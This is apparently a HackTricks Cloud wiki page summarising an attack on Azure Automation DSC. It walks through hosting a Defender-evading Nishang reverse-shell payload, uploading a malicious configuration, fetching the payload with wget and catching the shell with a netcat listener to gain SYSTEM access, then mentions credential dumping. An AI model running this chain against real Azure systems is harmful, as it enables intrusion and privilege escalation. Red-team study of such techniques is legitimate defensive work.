{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
The process involves setting up a remote server infrastructure to host a modified Nishang Invoke-PowerShellTcp.ps1
payload, named RevPS.ps1
, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP 40.84.7.74
using a simple Python HTTP server. The operation is executed through several steps:
- Files Required: Two PowerShell scripts are needed:
- Customization: Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
- The
reverse_shell_config.ps1
is compressed into a.zip
file, making it ready for transfer to the Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- The script is edited to specify the target Windows VM and port for the reverse shell.
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.